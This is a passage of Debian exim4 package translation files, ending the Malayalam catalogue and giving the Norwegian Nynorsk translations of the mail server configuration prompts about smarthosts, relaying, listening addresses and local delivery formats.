നിരന്തരപ്രവൃത്തിയിലേയ്ക്കുള്ള പുറമേ " "നിന്നുള്ള ബന്ധങ്ങള്‍ നിരോധിയ്ക്കാന്‍ ശുപാര്‍ശ ചെയ്യുന്നു. പ്രാദേശികഹോസ്റ്റുമായി മാത്രം സംസാരിയ്ക്കുന്ന " "ഇമെയില്‍ പ്രോഗ്രാമുകളും (എംയുഎകള്‍) ഫെച്ച്മെയിലും അങ്ങനെയുള്ള പ്രോഗ്രാമുകളില്‍ പെടുന്നു. 127.0.0.1 " "എന്നു് ഇവിടെ നല്കുകയാണെങ്കില്‍ ഇതു് പുറത്തേയ്ക്കുള്ള ശൃംഖലയുടെ വിനിമയതലങ്ങളില്‍ ശ്രദ്ധിയ്ക്കുന്നതു് " "പ്രാവര്‍ത്തികമല്ലാതാക്കി പുറമേ നിന്നുള്ള ബന്ധങ്ങള്‍ അസാധ്യമാക്കും." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "ഡിഎന്‍എസ്-അന്വേഷണങ്ങളുടെ എണ്ണം കുറയ്ക്കണോ (ഡയല്‍-ഓണ്‍-ഡിമാന്‍ഡ്)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "സാധാരണ മോഡിലുള്ള പ്രവര്‍ത്തനത്തില്‍ എക്ലിം തുടങ്ങുമ്പോഴും സന്ദേശങ്ങള്‍ സ്വീകരിച്ചു് കൊണ്ടിരിക്കുകയോ " "എത്തിച്ചു കൊണ്ടിരിക്കുകയോ ചെയ്യുമ്പോഴും ഡിഎന്‍എസില്‍ നോക്കും. ഇതു് ലോഗിങ്ങ് ആവശ്യങ്ങള്‍ക്കു് വേണ്ടിയും " "ക്രമീകരണത്തില്‍ ഹാര്‍ഡ് കോഡ് ചെയ്തിട്ടുള്ള വിലകളുടെ എണ്ണം കുറയ്ക്കുന്നതിനുമാണു്." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "ഈ സിസ്റ്റത്തിനു് ഒരു ഡിഎന്‍എസ് ഫുള്‍ സര്‍വീസ് റിസോള്‍വര്‍ എല്ലാ സമത്തും ലഭ്യമല്ലെങ്കില്‍ (ഉദാഹരണത്തിനു് " "അതിന്റെ ഇന്റര്‍നെറ്റ് സമീപനം ഡയല്‍-ഓണ്-ഡിമാന്‍ഡ് ഉപയോഗിക്കുന്ന ഡയല്‍-അപ് ആണെങ്കില്‍) ഇതു് " "ആവശ്യമില്ലാത്ത അനന്തിര ഫലങ്ങളുണ്ടാക്കും. ഉദാഹരണത്തിനു് എക്സിം തുടങ്ങുന്നതോ ക്യൂ " "പ്രവര്‍ത്തിപ്പിയ്ക്കുന്നതോ (സന്ദേശങ്ങള്‍ കാത്തിരിക്കുന്നില്ലെങ്കില്‍ കൂടി) ഒരു ചിലവേറിയ ഡയല്‍-അപ് " "പ്രവൃത്തി തുടങ്ങാന്‍ കാരണമായേക്കാം." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "ഈ സിസ്റ്റം ഡയല്‍-ഓണ്‍-ഡിമാന്‍ഡ് ഉപയോഗിക്കുന്നുണ്ടെങ്കില്‍ ഈ ഐച്ഛികം തെരഞ്ഞെടുക്കേണ്ടതാണു്. ഇതിനു് " "എപ്പോഴും ബന്ധിച്ചിട്ടുള്ള ഇന്റര്‍നെറ്റ് സമീപനമുണ്ടെങ്കില്‍ ഈ ഐച്ഛികം പ്രാവര്‍ത്തികമല്ലാതാക്കേണ്ടതാണു്." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "തപാല്‍ സേവക ക്രമീകരണം" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "ക്രമീകരണത്തെ ചെറിയ ഫയലുകളാക്കി മുറിയ്ക്കണോ?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "ഡെബിയന്‍ എക്സിം4 പാക്കേജുകള്‍ക്കു് \"വിഭജിയ്ക്കാത്ത ക്രമീകരണം\", ഒറ്റ ഏകശിലാസ്തംഭ ഫയല്‍ (/etc/" "exim4/exim4.conf.template) അല്ലെങ്കില്‍ ശരിക്കുള്ള എക്സിം ക്രമീകരണ ഫയലുകള്‍ /etc/exim4/" "conf.d/ യിലുള്ള ഏകദേശം 50 ഓളം വരുന്ന ചെറിയ ഫയലുകളില്‍ നിന്നും ഉണ്ടാക്കിയെടുക്കുന്ന " "\"വിഭജിച്ച ക്രമീകരണം\" എന്നിവയിലേതെങ്കിലുമുപയോഗിയ്ക്കാം." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "വിഭജിയ്ക്കാത്ത ക്രമീകരണം വലിയ മാറ്റങ്ങള്‍ക്കു് യോജിച്ചതും പൊതുവെ കൂടുതല്‍ സ്ഥിരതയുള്ളതുമാണു്, എന്നാല്‍ " "വിഭജിച്ച ക്രമീകരണം ചെറിയ മാറ്റങ്ങള്‍ വരുത്താന്‍ സൌകര്യപ്രദമായ ഒരു വഴി നല്കുന്നു പക്ഷേ ഇതു് വളരെ " "നേര്‍ത്തതും അശ്രദ്ധമായി മാറ്റിയാല്‍ കേടാവാന്‍ സാധ്യതയുള്ളതുമാണു്." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "വിഭജിച്ചതും വിഭജിയ്ക്കാത്തതുമായ ക്രമീകരണത്തെ കുറിച്ചു് കൂടുതല്‍ വിശദമായ ചര്‍ച്ച /usr/share/doc/" "exim4-base ല്‍ കാണാവുന്നതാണു്." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "പുറത്ത് പോകുന്ന കത്തില്‍ പ്രാദേശിക തപാല്‍ നാമം മറച്ചു വയ്കണോ?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "പുറത്തു പോകുന്ന കത്തിലെ തലക്കെട്ടുകള്‍ വേറൊരു സിസ്റ്റത്തില്‍ സൃഷ്ടിച്ചതാണെന്നു് തോന്നുന്ന രീതിയില്‍ " "മാറ്റിയെഴുതാവുന്നതാണു്. ഈ ഐച്ഛികം തെരഞ്ഞെടുക്കുകയാണെങ്കില്‍ From, Reply-To, Sender, Return-" "Path എന്നിവയില്‍ \"${mailname}\", \"localhost\", \"${dc_other_hostnames}\" " "എന്നിവ മാറ്റി എഴുതുന്നതാണു്." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ ല്‍ mbox ഫോര്‍മാറ്റില്‍" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "തട്ടകത്തില്‍ Maildir ഫോര്‍മാറ്റില്‍" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "പ്രാദേശിക കത്തുകള്‍ എത്തിയ്ക്കേണ്ട മാര്‍ഗം:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "എക്സിമിനു് പ്രാദേശികമായി എത്തിയ്ക്കുന്ന മെയിലുകള്‍ വ്യത്യസ്ത ഫോര്‍മാറ്റുകളില്‍ സൂക്ഷിച്ചു് വെയ്ക്കാന്‍ " "കഴിയും. ഏറ്റവും സാധാരണയായി ഉപയോഗിക്കുന്നതു് mbox ഉം Maildir ഉം ആണു്. mbox /var/mail/ " "ല്‍ സൂക്ഷിച്ചു വച്ചിട്ടുള്ള മുഴുവന്‍ തപാല്‍ ഫോള്‍ഡറുകള്‍ക്കുമായി ഒറ്റ ഫയലാണു് ഉപയോഗിയ്ക്കുന്നതു്. Maildir " "ഫോര്‍മാറ്റില്‍ ഓരോ സന്ദേശങ്ങളും ~/Maildir/ ല്‍ വ്യത്യസ്ത ഫയലായിട്ടാണു് സൂക്ഷിക്കുന്നതു്." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "കൂടുതല്‍ ഡെബിയന്‍ തപാല്‍ ടൂളുകളും സഹജമായ പ്രാദേശികമായി കത്തു് എത്തിക്കാനുള്ള മാര്‍ഗമായി mbox " "പ്രതീക്ഷിയ്ക്കുന്നു." debian/po/nn.po0000644000000000000000000006123612027557533010600 0ustar # translation of nn.po to Norwegian nynorsk # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Håvard Korsvoll , 2004. # Håvard Korsvoll , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: nn\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-10-01 14:55+0200\n" "Last-Translator: Håvard Korsvoll \n" "Language-Team: Norwegian nynorsk \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Fjerne e-post som ikkje er sendt frå kømappa?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "I kømappa til exim /var/spool/exim4/input/ er det framleis e-post som ikkje " "er levert enno. Ved å fjerne Exim vil desse forbli ulevert fram til Exim " "blir installert igjen." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Viss dette ikkje er valt, vil kømappa bli lagt igjen. Meldingane i kømappa " "kan då bli levert ved eit seinare høve etter ein reinstallasjon av Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Vil du setje opp exim4-config i staden for denne pakka?" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Oppsettet av Exim4 er skilt ut i ein eigen pakke, exim4-config. For å setje " "opp Exim4, bruk dpkg-reconfigure exim4-config." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internettstad; e-post vert sendt og motteke direkte med SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "e-post sendt med smarthost; motteke med SMTP eller fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "e-post sendt med smarthost; ingen lokal e-post" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "berre lokal levering; ikkje på eit nettverk" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ikkje setja opp noko no" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Generell type e-postoppsett:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Vel det oppsettet som passar best for din e-posttenar." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "System med dynamisk IP-adresse, inkludert system med oppringt " "internettsamband, bør generelt setjast opp til å senda e-post til ei anna " "maskin som vert kalla ein «smarthost» for å levera e-posten. Grunnen er at " "mange e-posttenarar på nettet blokkerer e-post frå dynamiske IP-adressar for " "å verne seg mot søppelpost." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Eit system med dynamisk IP-adresse kan motta sin eigen e-post, eller lokal " "leveranse kan slåast fullstendig av (bortsett frå e-post til root og " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Vil du verkeleg la vera å setja opp e-postsystemet?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Før e-postsystemet ditt er sett opp, vil det ikkje fungera og kan ikkje " "brukast. Du kan naturlegvis setja det opp seinare, anten manuelt eller ved å " "køyra «dpkg-reconfigure exim4-config» som root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Systemet sitt e-postnamn:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "«E-postnamnet» er domenenamnet som vert brukt til å fylle ut e-postadressar " "utan domenenamn." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Dette namnet vil også bli brukt av andre program. Det bør vera det eine, " "fullt kvalifiserte domenenamnet (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Viss ein e-postadresse på den lokale verten til dømes er brukar@domene.no, " "så er den riktige verdien som skal brukast her domene.no." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Dette namnet vil ikkje koma fram i Frå:-linja i utgåande meldingar viss du " "slår på omskriving." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Andre destinasjonar som e-post vert godteke for:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Skriv inn ei liste, skilde med semikolon, over domener som denne maskina " "skal rekna seg sjølv som sluttdestinasjon for. Desse domena vert vanlegvis " "kalla for «lokaldomener». Det lokale vertsnamnet (${fqdn}) og «localhost» " "vert alltid lagt til denne lista. " #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Som standard vil alle domener bli handtert likt. Viss både a.døme og b.døme " "er lokale domener, vil acc@a.døme og acc@b.døme bli levert til den same " "mottakaren. viss du vil at ulike domenenamn skal handterast ulikt, må du " "redigere oppsettsfilene etterpå." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domener det skal vidaresendast e-post for:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Skriv inn ei liste over domener - med semikolon mellom - som dette systemet " "skal videresene meldingar til, til dømes som ein reserve-MX eller e-" "postportnar. Dette betyr at dette systemet vil akseptere e-post til desse " "domena frå kvar som helst på Internett og levere dei i samsvar med lokale " "leveringsreglar." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Ikkje oppgje lokale domene her. Jokerteikn kan brukast." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Maskiner det skal vidaresendast e-post for:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Oppgje ei liste over IP-adresseområde - med semikolon mellom - som dette " "systemet utan vilkår skal vidaresende e-post for og fungere som smartvert." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Du må bruke standard adresse/lengde-format (t.d. 194.222.242.0/24 eller " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Viss dette systemet ikkje skal vere smartvert for nokon andre system, så la " "denne lista vere tom." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Synlege domenenamn for lokale brukarar:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Valet om å gøyme det lokale e-postnamnet i utgåande e-post er slått på. Det " "er derfor naudsynt å oppgje det domenenamnet dette systemet skal bruke i " "domenedelen til avsenderadressa for lokale brukarar." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-adresse eller vertsnamn for utgåande smartvert:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Oppgje IP-adresse eller vertsnamn for ein e-posttenar som dette systemet " "skal bruke som utgåande smartvert. Viss smartverten berre tek imot e-post på " "ein anna port enn TCP/24, så legg til to kolonner og portnummeret (t.d. " "smartvert.eksempel::587 eller 192.168.254.254::2525). Kolon i IPv6-adresser " "må doblast." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Viss smartverten krev autentisering, så sjå etter i den debianspesifikke " "README-fila i /usr/share/doc/exim4-base/ for merknader om korleis setja opp " "SMTP-autentisering." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "E-postmottakarar for root og postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Post til «postmaster», «root» og andre systemkontoar må vidaresendast til " "brukarkontoen til han som er systemadministrator." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Viss dette stårt tomt, så vil slik e-post bli lagra i /var/mail/mail, noko " "som ikkje er tilrådd." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Merk at e-post til «postmaster» bør lesast på det systemet han er adressert " "til og ikkje vidaresendast til andre system, så (minst ein av) brukarane du " "vel bør ikkje ha e-posten sin vidaresendt frå denne maskina. Bruk eit " "«verkeleg»- prefiks for å tvinge fram lokal levering." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Om du skriv inn fleire brukarnamn må dei skiljast med mellomrom." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "" "Kva IP-adresser som skal lyttast etter for innkomande SMTP-tilkoplingar:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Oppgje ei liste over IP-adresser, skilde med semikolon. Exims SMTP-teneste " "vil lytte på alle IP-adresser som er oppgjeve her." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Viss du lar dette feltet stå tomt, vil Exim lytta etter tilkoplingar frå " "alle tilgjengelege nettverksgrensesnitt." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Viss denne maskina berre mottek e-post frå lokale tenester (og ikkje frå " "andre vertar), så bør du hindra eksterne tilkoplingar til den lokale Exim-" "systemet. Slike tenester inkluderer e-postprogram (MUA) som snakkar med den " "lokale verten og til dømes fetchmail. Eksterne tilkoplingar vert umogeleg " "viss ein vel å setja dette feltet til 127.0.0.1. Exim vil då ikkje lytta på " "offentlege nettverksgrensesnitt." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Hald talet på DNS-spørjingar på eit minimum (oppringt samband)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "I vanleg modus gjer Exim DNS-spørjingar ved oppstart, ved mottak eller " "levering av meldingar osv. Dette for å logga hendingar og halda talet på " "hardkoda verdiar i oppsettsfila nede." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Viss dette er ein vert utan tilgang til permanent DNS-namnetenar (til dømes " "eit oppringt samband som koplar til etter behov), vil dette ha uønskte " "effektar. Oppstart av Exim eller køyring av køa (sjølv med ingen meldingar i " "køen) kan utløyse ei dyr oppringing av sambandet utan at det reelt er trong " "for det." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Dette valet bør vere på dersom systemet brukar ei oppringttilkopling ved " "behov. Viss systemet har kontinuerleg internettilgang, bør dette slåast av." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Oppsett av e-posttenar" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Del opp oppsettsfilene i små filer?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian exim4 pakkane kan anten bruka «samla oppsett» ei stor oppsettsfil (/" "etc/exim4/exim4.conf.template) eller «oppdelt oppsett» der rundt 50 små " "filer i /etc/exim4/conf.d/ vert brukt for å generera oppsettet." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Samla oppsett passar betre for store endringar og er generelt meir stabilt, " "medan oppdelt oppsett tilbyr ein enkel måte å gjera små endringar, men er " "meir sårbart og kan lett bli øydelagt viss det vert endra mykje på." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Oppdelt og samla oppsett vert drøfta meir inngåande i dei debianspesifikke " "README-filene i /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Gøym lokalt e-postnamn i utgåande e-post?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "E-posthovuda i utgåande e-post kan omskrivast slik at det ser ut til at e-" "posten er laga på eit anna system. Viss dette er valt vil «${mailname}», " "«localhost» og «${dc_other_hostnames}» i Frå, Svar-til, Sendar og Retur-Stig " "bli omskrive." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox format i /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-format i heimekatalogen" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Leveringsmetode for lokal e-post:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim kan lagre e-post levert lokalt i forskjellige format. Dei mest brukte " "er mbox og Maildir. mbox brukar ei fil for heile e-postmappa lagra i /var/" "mail/. Med Maildir-format vert kvar melding ei eiga fil i ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Merk at dei fleste e-postverktøya i Debian forventar i standardoppsetta sine " "at lokal leveringsmåte er mbox." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Flytt ulevert e-post frå exim 3 til exim4 køen?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Det finst ulevert e-post i exim 3 (eller exim-tls 3) kømappa /var/spool/" #~ "exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Med dette valet på vil desse meldingane bli flytta til exim4 si kømappe (/" #~ "var/spool/exim4/input/) der dei vil bli handtert av exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Dette fungerer berre ein veg: Exim4 kan handtere exim 3-kø, men ikkje " #~ "andre vegen. Viss du seier nei no, må du flytte medlingane manuelt sjølv " #~ "seinare. Elles vil dei aldri bli levert." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Viss denne lista er tom vil Exim ikkje levere lokal e-post." 